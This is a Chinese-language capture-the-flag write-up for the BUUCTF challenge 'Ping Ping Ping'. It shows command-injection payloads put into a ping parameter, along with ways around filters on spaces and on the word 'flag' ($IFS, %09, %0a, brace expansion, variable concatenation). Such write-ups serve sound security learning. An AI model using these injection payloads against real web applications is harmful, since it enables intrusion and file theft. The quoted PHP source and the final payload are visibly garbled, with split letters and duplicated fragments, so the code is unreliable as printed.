buuctf[GXYCTF2019]Ping Ping Ping
这个题目的标题是pingping盲猜是关于命令执行的题目
打开环境后
只有一个/ip=?
应该是提示用get的方式来传参一个地址执行ping的操作
直接ping127.0.0.1
回显ping127.0.0.1的数据
说明是一道命令执行的题目
执行:?ip=127.0.0.1|ls
其中|的作用是命令分隔符
还有相关的符号
; --在 shell 中,是”连续指令”
& --不管第一条命令成功与否,都会执行第二条命令
&& --第一条命令成功,第二条才会执行
| --第一条命令的结果,作为第二条命令的输入
|| --第一条命令失败,第二条才会执行
这里采用|来执行
如果全部过滤
过滤了命令分割符,用%0a便可以分隔命令进行查看
127.0.0.1%0als
回显两个文件
直接访问flag.php
回显有过滤空格
既然过滤空格就绕过空格
常见的绕过符号有:
$IFS 9 、 9 、 9、IFS 1 、 1、 1、{IFS} 、%09(php环境下)、 重定向符<>、<、
{cat,flag.php} //用逗号实现了空格功能
采用{cat,flag.php} //用逗号实现了空格功能
构造payload:?ip=127.0.0.1|cat,flag.php
回显过滤了flag这个字符串
尝试拼接绕过;
a=fl;b=ag; a a ab
构造:cat,a=fl;b=ag; a a ab
回显相同
说明这种绕过方式没有用
那就先看一下index.php
构造:/?ip=127.0.0.1|cat,index.php
回显:
应该是,不能代替空格绕过
换一个?ip=127.0.0.1|cat%09index.php
回显:
再换
?ip=127.0.0.1|cat$IFS$2index.php
回显
/?ip=
|’|"|\|(|)|[|]|{|}/", i p , ip, ip,匹配)){
回preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|’|"|\|(|)|[|]|{|}/", i p , ip, ip,匹配);
die(“fxck你的符号!”);
}else if(preg_match("//", i p ) ) d i e ( " f x c k 你 的 空 间 ! " ) ; e l s e i f ( p r e g m a t c h ( " / b a s h / " , ip)){ die("fxck你的空间!"); }else if(preg_match("/bash/", ip))die("fxck你的空间!");elseif(pregmatch("/bash/",ip)){
die(“fxck您的庆典!”);
}else if(preg_match("/.*f.*l.*a.g./", $ip)){
die(“fxck你的标志!”);
}
a = s h e l l e x e c ( " p i n g − c 4 " . a=shell_exec("ping-c4". a=shellexec("ping−c4".ip);
echo"
";
print_r($a);
}
?>
发现过滤了很多包括空格、一些符号/.*f.*l.*a.g./、flag
构造拼接绕过?ip=127.0.0.1;a=g;cat$IFS 1 f l a 1fla 1flaa.php
在源代码中找到flag